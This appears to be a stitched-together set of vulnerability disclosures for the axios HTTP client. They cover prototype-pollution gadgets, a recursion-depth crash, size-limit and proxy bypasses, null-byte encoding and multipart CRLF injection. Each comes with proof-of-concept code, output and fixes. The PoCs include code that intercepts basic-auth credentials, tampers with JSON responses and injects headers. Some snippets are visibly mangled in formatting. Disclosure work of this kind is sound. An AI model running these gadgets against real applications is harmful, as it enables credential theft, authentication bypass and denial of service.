Summary toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

Details lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

PoC js import toFormData from 'axios/lib/helpers/toFormData.js'; import FormData from 'form-data';

function nest(depth) { let o = { leaf: 1 }; for (let i = 0; i < depth; i++) o = { a: o }; return o; }

try { toFormData(nest(2500), new FormData()); } catch (e) { console.log(e.name + ': ' + e.message); } // RangeError: Maximum call stack size exceeded

Server-side reachability example: js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

Impact A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.

Summary

When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.

---

Background: how mergeConfig builds the config object

Every axios request goes through Axios.request in lib/core/Axios.js#L76:

js config = mergeConfig(this.defaults, config);

Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):

js const config = {};

A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.

---

Gadget 1: parseReviver -- response tampering and exfiltration

Introduced in: v1.12.0 (commit 2a97634, PR #5926) Affected range: >= 1.12.0, <= 1.13.6

Root cause

The default transformResponse function calls JSON.parse(data, this.parseReviver):

js return JSON.parse(data, this.parseReviver);

this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.

The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:

js forcedJSONParsing: true,

which activates the JSON parse path unconditionally when responseType is unset.

JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.

There is no interaction with assertOptions here. The assertOptions call in Axios.request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.

Verification: own-property check

js import { createRequire } from 'module'; const require = createRequire(import.meta.url); const mergeConfig = require('./lib/core/mergeConfig.js').default; const defaults = require('./lib/defaults/index.js').default;

const merged = mergeConfig(defaults, { url: '/test', method: 'get' }); console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false console.log(merged.parseReviver); // undefined (no pollution)

Object.prototype.parseReviver = function(k, v) { return v; }; console.log(merged.parseReviver); // [Function (anonymous)] -- inherited delete Object.prototype.parseReviver;

Proof of concept

Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.

Terminal 1 -- server (servergadget1.mjs):

js import http from 'http';

const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tokrealabc' })); });

server.listen(19003, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19003'); });

$ node servergadget1.mjs [server] listening on 127.0.0.1:19003 [server] request: GET /

Terminal 2 -- client (pocparsereviver.mjs):

js import axios from 'axios';

// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via .merge). // In a real application this would be set before any axios request runs. Object.prototype.parseReviver = function (key, value) { // Called for every key-value pair in every JSON response parsed by axios in this process. if (key !== '') { // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint. console.log('[exfil]', key, '=', JSON.stringify(value)); } // Tamper: escalate role, inflate balance. if (key === 'role') return 'admin'; if (key === 'balance') return 999999; return value; };

const res = await axios.get('http://127.0.0.1:19003/'); console.log('[app] received:', JSON.stringify(res.data));

delete Object.prototype.parseReviver;

$ node pocparsereviver.mjs [exfil] role = "user" [exfil] balance = 100 [exfil] token = "tokrealabc" [app] received: {"role":"admin","balance":999999,"token":"tokrealabc"}

The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.

---

Gadget 2: transport -- full HTTP request hijacking with credentials

Introduced in: early adapter refactor, present across 0.x and 1.x Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)

Root cause

Inside the Node.js http adapter at lib/adapters/http.js#L676:

js if (config.transport) { transport = config.transport; }

transport is listed in mergeMap inside mergeConfig (line 88):

js transport: defaultToConfig2,

but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.

The fix in v1.13.5 (PR #7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.

The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:

- options.hostname, options.port, options.path -- full target URL - options.auth -- basic auth credentials in "username:password" form (set at line 606) - options.headers -- all request headers as a plain object

Proof of concept

Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.

Terminal 1 -- server (servergadget2.mjs):

js import http from 'http';

const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)'); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"ok":true}'); });

server.listen(19002, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19002'); });

$ node servergadget2.mjs [server] listening on 127.0.0.1:19002 [server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==

Terminal 2 -- client (poctransport.mjs):

js import axios from 'axios'; import http from 'http';

Object.prototype.transport = { request(options, handleResponse) { // Intercept: called for every outbound request in this process. console.log('[hijack] target:', options.hostname + ':' + options.port + options.path); console.log('[hijack] auth:', options.auth); console.log('[hijack] headers:', JSON.stringify(options.headers)); // Forward to the real transport so the caller sees a normal 200. return http.request(options, handleResponse); }, };

const res = await axios.get('http://127.0.0.1:19002/api/users', { auth: { username: 'svcaccount', password: 'hunter2' }, }); console.log('[app] response status:', res.status);

delete Object.prototype.transport;

$ node poctransport.mjs [hijack] target: 127.0.0.1:19002/api/users [hijack] auth: svcaccount:hunter2 [hijack] headers: {"Accept":"application/json, text/plain, /","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"} [app] response status: 200

The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.

---

Additional gadget: transformRequest / transformResponse

Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.

This one requires a discriminator because assertOptions in Axios.request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).

Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.

---

Why the existing fix does not cover these

PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"proto": {"x": 1}} as the config object, which caused mergeMap['proto'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on proto, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....

That fix only addresses config keys that are explicitly set to proto (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.

---

Suggested fixes

For parseReviver (lib/defaults/index.js#L124): js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);

For mergeConfig value reads (lib/core/mergeConfig.js#L102): js const configValue = merge( config1[prop], utils.hasOwnProp(config2, prop) ? config2[prop] : undefined, prop );

For transport and other adapter reads from config (lib/adapters/http.js#L676): js if (utils.hasOwnProp(config, 'transport') && config.transport) { transport = config.transport; }

The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.

---

Environment

- axios: 1.13.6 - Node.js: 22.22.0 - OS: macOS 14 - Reproduction: confirmed in isolated test harness, both gadgets independently verified

Disclosure

Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-287: Improper Authentication

CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } }

// mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy };

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

javascript Object.prototype.validateStatus = () => true;

2. The Gadget Trigger (Safe Code)

javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 }

3. The Execution

javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! }

4. The Impact

Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage()

After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500

--- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

- Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. - Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. - Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. - Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } }

Resources

- CWE-1321: Prototype Pollution - CWE-287: Improper Authentication - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - MDN: in operator - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios. The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

javascript // lib/adapters/http.js } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { headers.set(data.getHeaders()); // ... }

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js javascript const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) }

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package javascript // Returns true if Object.prototype.getHeaders is a function utils.isFunction(data.getHeaders)

PoC

javascript // Simulate Prototype Pollution Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = () => {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); (.... Introduce here all the headers you want ....) return headers; }; Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; }; Object.prototype.on = function() { return this; }; Object.prototype.once = function() { return this; };

// Legitimate application code const response = await axios.post('https://internal-api.company.com/admin/delete', { userId: 42 }, { headers: { 'Authorization': 'Bearer VALIDUSERTOKEN' } } );

Impact

- Authentication Bypass (CVSS: C:H) - Session Fixation (CVSS: I:H) - Privilege Escalation (CVSS: C:H, I:H) - IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

diff - } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { - headers.set(data.getHeaders()); + } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) && + Object.prototype.hasOwnProperty.call(data, 'getHeaders')) { + headers.set(data.getHeaders());

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7) Affected Versions: All versions containing this charMap entry Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE

- CWE-626: Null Byte Interaction Error (Poison Null Byte) - CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | Attacker controls input parameters remotely | | Attack Complexity | High | Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact limited to HTTP request URL | | Confidentiality | None | No confidentiality impact | | Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser | | Availability | None | No availability impact |

Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

javascript function encode(str) { const charMap = { '!': '%21', // literal → encoded (SAFE direction) "'": '%27', // literal → encoded (SAFE direction) '(': '%28', // literal → encoded (SAFE direction) ')': '%29', // literal → encoded (SAFE direction) '~': '%7E', // literal → encoded (SAFE direction) '%20': '+', // standard transformation (SAFE) '%00': '\x00', // LINE 21: encoded → raw null byte (UNSAFE direction!) }; return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { return charMap[match]; }); }

Why the Standard Flow Is NOT Affected

javascript // buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's const encode = (options && options.encode) || encode; // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams new AxiosURLSearchParams(params, options).toString(encode); // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used const encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode; // ^^^^^^ // internal encode passed as 2nd arg but only used if // the external encoder explicitly delegates to it

Proof of Concept

javascript import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js'; import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path) const params = new AxiosURLSearchParams({ file: 'test\x00.txt' }); const result = params.toString(); // NO encoder → uses internal encode with charMap console.log('Direct toString():', JSON.stringify(result)); // Output: "file=test\u0000.txt" (contains raw null byte) console.log('Hex:', Buffer.from(result).toString('hex')); // Output: 66696c653d74657374002e747874 (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow) const url = buildURL('http://example.com/api', { file: 'test\x00.txt' }); console.log('Via buildURL:', url); // Output: http://example.com/api?file=test%00.txt (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt" Contains raw null byte: true Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt Contains raw null byte: false Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

- Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected - Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug - Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

javascript function encode(str) { const charMap = { '!': '%21', "'": '%27', '(': '%28', ')': '%29', '~': '%7E', '%20': '+', // REMOVED: '%00': '\x00' }; return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) { // ^^^^ removed |%00 return charMap[match]; }); }

Resources

- CWE-626: Null Byte Interaction Error - CWE-116: Improper Encoding or Escaping of Output - OWASP: Embedding Null Code - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS | | TBD | Report submitted to vendor via GitHub Security Advisory |

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for noproxy hostname normalization bypass is incomplete. When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.

Summary

For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.

Details

Relevant flow in lib/adapters/http.js: - 556-564: maxBodyLength check applies only to buffered/non-stream data. - 681-682: maxRedirects === 0 selects native http/https transport. - 694-699: options.maxBodyLength is set, but native transport does not enforce it. - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.

This creates a path-specific bypass for streamed uploads.

### PoC

Environment:

- Axios main at commit f7a4ee2 - Node v24.2.0

Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: - adapter: 'http' - maxBodyLength: 1024 - maxRedirects: 0

Observed: - Request succeeds; server reports received: 2097152.

Control checks: - Same stream with default/nonzero redirects: rejected with ERRFRMAXBODYLENGTHEXCEEDED. - Buffered body with maxRedirects: 0: rejected with ERRBADREQUEST.

### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details In lib/adapters/http.js: - 786-789: for responseType === 'stream', Axios immediately settles with the stream. - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment: - Axios main at commit f7a4ee2 - Node v24.2.0

Steps:

1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: - adapter: 'http' - responseType: 'stream' - maxContentLength: 1024 3. Read the returned stream fully.

Observed: - Success; full 2097152 bytes readable.

Control check: - Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Summary The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.

Details In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF}; } Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.

Attack chain:

1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences 2. The proxy appends the file to a FormData and posts it via axios.post(url, formData) 3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate

This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.

PoC Prerequisites: Node.js 18+, axios (tested on 1.14.0) const http = require('http'); const axios = require('axios');

let receivedBody = '';

const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); });

server.listen(0, '127.0.0.1', async () => { const port = server.address().port;

class SpecFormData { constructor() { this.entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this.entries.push([name, value]); } Symbol.iterator { return this.entriesSymbol.iterator; } entries() { return this.entriesSymbol.iterator; } }

const fd = new SpecFormData();

fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function() { yield Buffer.from('MALICIOUS PAYLOAD'); } });

await axios.post(http://127.0.0.1:${port}/upload, fd);

if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOTVULNERABLE]'); }

server.close(); });

Steps to reproduce:

1. npm install axios 2. Save the above as pocaxioscrlf.js 3. Run node pocaxioscrlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body

Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.

Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.

Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += Content-Type: ${safeType}${CRLF};

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

